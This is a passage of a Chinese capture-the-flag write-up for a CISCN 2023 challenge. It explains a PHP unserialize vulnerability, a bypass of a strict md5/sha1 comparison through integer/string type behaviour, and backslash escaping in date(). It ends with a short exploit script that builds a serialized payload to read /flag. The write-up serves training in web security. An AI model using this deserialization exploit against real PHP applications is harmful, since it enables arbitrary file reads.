            file_put_contents($uuid,$content);
            $data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
            echo file_get_contents($data);
        }
        else{
            die();
        }
    }
}

unserialize(base64_decode($_GET['code']));

审计代码,ban掉了数组,要进行md5和sha1的强比较,我们可以用字符串与数字的弱类型特性绕过

测试:

<?php
echo (md5(1)===md5("1"));
echo "\n";
echo (sha1(1)===sha1("1"));

image-20231204125742821

date函数:

格式化一个本地时间/日期

这个函数有一个特性:可以在格式字串中的字符前加上反斜线来转义

测试:

<?php
echo date("/flag");
// 返回/fMondaypm1
echo date("/f\l\a\g");
// 返回/flag

意义不明的正则表达式匹配

$data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));

(\s)*: 匹配零个或者多个空白字符 空格 制表符 换页符
(\n)+: 匹配一个或多个换行符
/i : 匹配时不区分大小写

exp:

<?php
class date{
    public $a=1;
    public $b='1';
    public $file="/f\l\a\g";
}
$a=new date();
echo(base64_encode(serialize(($a))));

[CISCN 2023 西南]do_you_like_read